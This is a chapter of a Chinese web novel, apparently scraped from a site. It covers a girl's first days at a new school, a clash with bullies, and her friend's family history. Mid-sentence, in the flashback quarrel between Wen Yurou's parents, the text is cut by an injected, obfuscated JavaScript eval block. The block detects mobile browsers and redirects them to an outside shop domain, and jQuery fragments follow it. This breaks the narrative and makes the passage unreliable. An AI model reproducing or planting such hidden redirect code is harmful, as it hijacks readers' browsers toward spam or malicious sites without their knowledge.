空气里充满了寂静,三面相觑,没有一个人说话。
秦桑榆的脸开始升温,很快脸颊就变得红扑扑的了。
如果此刻身前有一个地洞,那她是务必要钻进去了。
秦桑榆挠了挠头,
“哈,打扰了打扰了,你们继续。”
一语作罢,秦桑榆跑出她此生最快的成绩,甚至有了残影。
终于躲到了不远处的墙壁后面,平息心情。
“好尴尬啊好尴尬,早知道就不喊那么一嗓子了,都怪自己记性太好了。”
秦桑榆低头拍了拍胸口,发现裙子上染上了灰尘,她正想站起身拍几下,
“宁雨,我喜欢你很久了......”
少女的声音很稚嫩,听出来她很害羞。
秦桑榆艰难的咽了一下口水,看来自己来的真不是时候啊,
“抱歉。”
秦桑榆:?!不是你就不能拒绝的温柔一点吗。
她习惯性的翻了一个白眼,已经不打算去和宁雨来一出因伞重逢的戏码了。
站起身来就要走,远处却传来一阵喧闹。
“学妹啊,你哪能因为这个货成绩好,长的帅就去喜欢他。”
秦桑榆探出头,为首的是一个很壮的男生,胡子长到仿佛要去陪爱因斯坦研究相对论,后面跟了四个男生,个顶个的羸弱。
秦桑榆简直要怀疑这四个人是向为首的男人交了“保护费”了。
“你不知道吗,他穷死了。你瞅瞅他的寒酸劲,衣服都发白了。”
言语里满是轻蔑,说着甚至还“呸”了一声,后面四个羸弱的人也跟着,露出他们难看的舌头。
和秦桑榆第一次见宁雨的时候一样,他沉默着,没有说话。
不知道是早已习惯,还是根本不把他们放在眼里。
“哼,哑巴。”
言尽,五个人又排成一行准备离开,向秦桑榆所在的方向移动。
很像一条贪吃蛇。
“你看到了吧,和我谈恋爱,是很痛苦的。”
宁雨的声音淡淡的,很冷,没有感情,就像冬天吹过的风,仅仅是在你脸前轻轻擦过,就让人感到颤-抖。
秦桑榆没有听到他面前的女生说什么,因为那条贪吃蛇要过来了。
说时迟那时快,秦桑榆伸出左腿,把面前的男生绊出好大一个趔趄。
正巧后面的人也没有看路,于是这条贪吃蛇的蛇头蛇尾就一起滚动起来。
为首的男人过于臃肿,提前停了下来,这可就完了,后面的人一个个撞上了他。
只见他拳头握紧,大喊了一声,“靠!”
和秦桑榆咯咯笑的声音交叉在一起,很有割裂感。
男生怒火中烧,挥起拳头就要靠近秦桑榆,
“你笑什么笑啊?”
眼见拳头就要挥到秦桑榆眼前了,她刚想躲,一个熟悉的身影便挡在她身前,
“周经天,你一定要每天都闹事吗?”
被叫做周经天的男人看起来很不服,一身桀骜之气恨不得现在就找人狠狠发泄一番。
“温煜柔,今天可真不是我闹的事儿。”
周经天伸出手,想要越过温煜柔去抓秦桑榆。
“是她先绊的我。”
温煜柔撇了秦桑榆一眼,嘴角轻斜,
“你以为我刚刚不在吗?”
“......”
周经天知道自己理亏,眼珠一个三百六十度大旋转,给在场的所有人一个大白眼。
最后停留在温煜柔面前。
“看在你爸爸温校长的面子,今天小爷就不跟你们计较了。”
周经天临退场前还不忘用手指指几下秦桑榆和宁雨。
“下次别让小爷再见到你们。”
秦桑榆:“快滚吧您嘞。”
“煜柔,还好你来了!”
秦桑榆恨不得给温煜柔一个长达一小时的拥抱。
“小鱼,你怎么来附中了?”
“温叔叔没有告诉你吗?我要来附中读书了。”
温煜柔很明显的愣了一下,
“没有。”
“那我给你讲,我有好多话要告诉你呢。”
“先等一下。”
“怎么啦?”
温煜柔拉着秦桑榆,站在宁雨面前,
“之前老师来访谈,你不是说没有人霸凌你吗?”
宁雨没有看她,
“我的事,不需要他们管。”
“好。”
温煜柔拉起秦桑榆就要走,
“等一下啊,柔柔。”
眼瞧着秦桑榆站在刚刚和宁雨告白的女生面前,她有些不知所措。
“不好意思啊,刚刚没有吓到你吧?”
面前的女孩连连摆手,
“没有没有。”
“那就好。”
“那你呢?”
秦桑榆把眼神放在宁雨身上,两人眼神交汇。
仿佛被单独置身于另一个世界。
“没有。”
连话语都被放慢。
“那我就放心啦。”
“走吧煜柔。”
温煜柔肉眼可见的蹙紧了眉头,
“你们认识?”
秦桑榆:“认识呀。”
宁雨:“不认识。”
几乎是在同一时间脱口而出,
惹的秦桑榆哑口无言,食指指着自己,脸上浮现无奈的情绪。
“那就当不认识好了。”
秦桑榆拉起温煜柔就走,连回头也没有。
......
“就是这样啦,我爸妈担心我。所以就现在国内读书,等到大学了再去找粲哥。”
“所以宗粲现在是一个人在瑞士吗?”
“我还没问诶。我现在不知道该怎么面对他。”
秦桑榆垂下头,发出一串长长的叹息。
“煜柔,我知道,我知道哥哥他不会怪我的。可是,我真的...真的没有办法不去想......”
眼泪像断了的桥,因为承受不了一个人的重量,所以决了堤。
温煜柔轻轻拍着秦桑榆的后背,
“都过去了,都过去了...”
良久,秦桑榆恢复寻常,脸上挂着常见的笑意。
“煜柔,以后我们就是同学啦!”
“嗯!”
温煜柔温柔的揉了揉秦桑榆的后脑勺,秦桑榆忽然想到了什么,连忙抓住她的手,
“柔啊,你不上课吗?”
“害,放心吧。我早就请过假了。”
“请过了?”
秦桑榆两眼放光,“还说你根本就不知道我回来?”
“不是的,是温煜承他生病了。爸爸和徐阿姨不在家,我回去照顾他一下。”
温煜柔和秦桑榆,宗粲,宗聿风四人从小一起长大,生活轨迹基本重叠,可小学五年级时,温念骅和郑冷雁因为观念不同离了婚。
秦桑榆一直记得,那天温煜柔跑到她家里,躲在她身旁。窗户下传来嘶吼,是熟悉的人,熟悉的声音,却是从来没有见过的模样。
“我说过了,煜柔是我温家的孩子,她不能出国念书!”
“煜柔她喜欢自由,喜欢探索,她向往外面的世界,你一定要坚持你那套守旧的,棍棒底下出孝子的观念吗?”
“守旧?我告诉你,这就是我温家的家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342030|199387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
训,受不了你就走,但是煜柔我是绝对不会让给你的!”
“你以为煜柔跟着你真的会好过吗?当初我生煜柔受了多大的苦,你连请一个阿姨来照顾都不肯,说什么外人不可入家门。煜柔才出生两年,你就说再要一个男孩儿,你问过煜柔吗?”
“她才两岁,你指望她懂什么?”
温念骅双目通红,郑冷雁释怀般一笑,像是看透了所有。
“小孩不需要被尊重吗?...那后来呢,那个孩子生下来就没了,你把一切责任都推给我,你以为我就不难过吗?”
“煜柔被你的观念教养,在家里连大声说话都不敢,你觉得这样真的好吗?”
......
后来温念骅和郑冷雁离了婚,打官司,郑冷雁输了,她去了国外,开了属于自己的公司。母女俩一年只能寒暑假见面。
而温念骅呢,没多久就娶了徐静安,一年后,生了个男孩,比温煜柔小了整整十一岁。
娶名叫温煜承,承袭家业的承。
那天也是如此,只不过是她轻轻拍着温煜柔的后背,
“别怕别怕,我在呢。”
“走吧,我和你一起去照顾小弟弟。”
两人并肩走在路上,夕阳把二人的影子拉的很长,二人说说笑笑,好不愉快。
“小鱼呀,你以后还是离宁雨远一点吧。”
“怎么啦?”
“他成绩好,长得也光风霁月的,只是他爸爸赌博,欠了钱,不知道躲去了哪。妈妈也不要他了。家里只有一个上了年纪的奶奶。他人很好,只不过因此很多人嫉妒,看不惯他,有些极端的甚至还去欺负他,拿他家庭辱骂他。你也看到了。我怕你...被欺负。”
秦桑榆拍了拍温煜柔的肩膀,
“放心吧柔,我肯定会保护好自己的。再说了,我俩也没有很熟呢。”
“那就好,你一定要平平安安的。”
“嗯,我会的!”
夕阳下,二人嬉戏,成了太阳的剪影。直到有了暮色,才舍得分开。
......
太阳一上一下,日历翻去新的一张,转眼间就到了秦桑榆上学的日子。
“大家好,我叫秦桑榆,今年16岁,你们也可以叫我小鱼,很幸运能在这里见到大家,我很好相处的,希望大家可以多多找我玩哦。”
阳光斜斜的洒下来,随着秦桑榆晃动的双马尾流淌,发梢也被镀上一层金色。少女沐浴在阳光下,浓密的睫毛投下细细的影子,连鼻尖都泛上柔光。
整个人清透,漂亮。
秦桑榆这一个上午过的别提有多开心了,新同学们真的都很好相处。
她还约了好几个新认识的朋友,打算周末的时候一起去附近新开的自由山树屋度假世界里玩。
下了学,和朋友们说了再见之后,秦桑榆按约定去往本部和温煜柔一起回家。
由于本部和国际部都有各自直接出校的大门,因此这条路上几乎没有什么人。
一路上,秦桑榆只能听到自己的脚步声和簌簌的风声。
“汪!汪!汪!”
“诶,小狗!”
秦桑榆小跑着过去抚摸小狗的毛,因为桑莹玉对动物毛发过敏,秦桑榆不被允许养小动物,所以她见到这些毛孩子总会格外激动。
“小狗,你家在哪呀?”
秦桑榆的注意力全部放在了小狗身上,丝毫没有注意到有人靠近,
突然间小狗变得兴高采烈,蹦来蹦去,
秦桑榆疑惑的往后看去,空气中骤然漂浮着清冽的皂香,像雪后初晴的青涩,
看到熟悉的精致脸庞,她有些惊喜,
“是你呀,又见面啦!”